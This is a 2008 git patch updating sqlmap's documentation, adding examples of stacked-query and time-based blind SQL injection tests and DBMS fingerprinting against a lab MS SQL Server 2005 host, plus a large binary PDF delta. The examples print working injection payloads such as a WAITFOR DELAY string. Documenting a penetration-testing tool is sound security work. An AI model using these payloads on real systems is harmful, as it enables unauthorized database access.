From 94c79e3209e91178566ef5ff34cc601d6047fbcc Mon Sep 17 00:00:00 2001
From: Bernardo Damele
Date: Wed, 17 Dec 2008 20:17:34 +0000
Subject: [PATCH] Updated documentation
---
doc/ChangeLog | 3 +-
doc/README.html | 110 ++++++++++++++++++++++++++++++++++++++++++++++++
doc/README.pdf | Bin 327459 -> 330148 bytes
doc/README.sgml | 100 +++++++++++++++++++++++++++++++++++++++++++
4 files changed, 211 insertions(+), 2 deletions(-)
diff --git a/doc/ChangeLog b/doc/ChangeLog
index ec03ff2f6..6d9271075 100644
--- a/doc/ChangeLog
+++ b/doc/ChangeLog
@@ -36,8 +36,7 @@ sqlmap (0.6.3-1) stable; urgency=low
headers are set;
* Minor improvement to be able to provide CU (as current user) as user
value (-U) when enumerating users privileges or users passwords;
- * Minor improvements to sqlmap Debian package files: sqlmap uploaded
- to official Debian project repository, on queue at the moment;
+ * Minor improvements to sqlmap Debian package files;
* Minor improvement to use Python psyco (http://psyco.sourceforge.net/)
library if available to speed up the sqlmap algorithmic operations;
* Minor improvement to retry the HTTP request up to three times in case
diff --git a/doc/README.html b/doc/README.html
index dc112907a..723fe96fe 100644
--- a/doc/README.html
+++ b/doc/README.html
@@ -1851,6 +1851,23 @@ stacked queries support: 'id=1; SELECT pg_sleep(5);-- AND 3128=3128'
+Example on a Microsoft SQL Server 2005 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" \
+ --stacked-test -v 1
+
+[...]
+back-end DBMS: Microsoft SQL Server 2005
+
+[hh:mm:09] [INFO] testing stacked queries support on parameter 'name'
+[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'name'
+stacked queries support: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'='wRcBC'
+
+
+
+
Test for Time based blind SQL injection
@@ -1901,6 +1918,25 @@ time based blind sql injection payload: 'id=1; SELECT pg_sleep(5);-- AND 9644
+Example on a Microsoft SQL Server 2005 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" \
+ --time-test -v 1
+
+[...]
+back-end DBMS: Microsoft SQL Server 2005
+
+[15:32:59] [INFO] testing time based blind sql injection on parameter 'name' with AND condition syntax
+[15:32:59] [WARNING] the parameter 'name' is not affected by a time based blind sql injection with AND condition syntax
+[15:32:59] [INFO] testing time based blind sql injection on parameter 'name' with stacked query syntax
+[15:33:13] [INFO] the parameter 'name' is affected by a time based blind sql injection with stacked query syntax
+time based blind sql injection payload: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'PmrXn'='PmrXn'
+
+
+
+
Test for UNION query SQL injection
@@ -2289,6 +2325,29 @@ back-end DBMS: active fingerprint: Microsoft SQL Server 2000
+Example on a Microsoft SQL Server 2005 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f
+
+[...]
+[hh:mm:51] [WARNING] the back-end DMBS is not PostgreSQL
+[hh:mm:51] [INFO] testing Microsoft SQL Server
+[hh:mm:51] [INFO] query: LTRIM(STR(LEN(0)))
+[hh:mm:51] [INFO] retrieved: 1
+[hh:mm:51] [INFO] performed 13 queries in 0 seconds
+[hh:mm:51] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
+[hh:mm:51] [INFO] retrieved: 5
+[hh:mm:51] [INFO] performed 13 queries in 0 seconds
+web server operating system: Windows 2003 or 2000
+web application technology: ASP.NET, Microsoft IIS 6.0, ASP
+back-end DBMS: active fingerprint: Microsoft SQL Server 2005
+ html error message fingerprint: Microsoft SQL Server
+
+
+
+
If you want an even more accurate result, based also on banner parsing,
you can also provide the -b
or --banner
option.
@@ -2372,6 +2431,40 @@ back-end DBMS: active fingerprint: Microsoft SQL Server 2000
+Example on a Microsoft SQL Server 2005 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b
+
+[...]
+[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
+[hh:mm:03] [INFO] testing Microsoft SQL Server
+[hh:mm:03] [INFO] query: LTRIM(STR(LEN(8)))
+[hh:mm:03] [INFO] retrieved: 1
+[hh:mm:03] [INFO] performed 13 queries in 0 seconds
+[hh:mm:03] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
+[hh:mm:03] [INFO] retrieved: 5
+[hh:mm:03] [INFO] performed 13 queries in 0 seconds
+[hh:mm:03] [INFO] query: @@VERSION
+[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
+ Oct 14 2005 00:33:37
+ Copyright (c) 1988-2005 Microsoft Corporation
+ Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
+
+[hh:mm:15] [INFO] performed 1343 queries in 11 seconds
+web server operating system: Windows 2003 or 2000
+web application technology: ASP.NET, Microsoft IIS 6.0, ASP
+back-end DBMS operating system: Windows 2003 Service Pack 1
+back-end DBMS: active fingerprint: Microsoft SQL Server 2005
+ banner parsing fingerprint: Microsoft SQL Server 2005 Service Pack 0
+ version 9.00.1399
+ html error message fingerprint: Microsoft SQL Server
+[...]
+
+
+
+
As you can see, from the Microsoft SQL Server banner, sqlmap was able to
correctly identify the database management system patch level.
The Microsoft SQL Server XML versions file is the result of a sqlmap
@@ -2444,6 +2537,23 @@ Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
+Example on a Microsoft SQL Server 2005 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 0 -b
+
+banner:
+---
+Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
+ Oct 14 2005 00:33:37
+ Copyright (c) 1988-2005 Microsoft Corporation
+ Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
+---
+
+
+
+
Current user
diff --git a/doc/README.pdf b/doc/README.pdf
index c26709d427a50f4627037141151943b79b45bad5..7d6b453332eed6824f67cdfe24adf78629a6df43 100644
GIT binary patch
delta 91836
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
-G<&
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
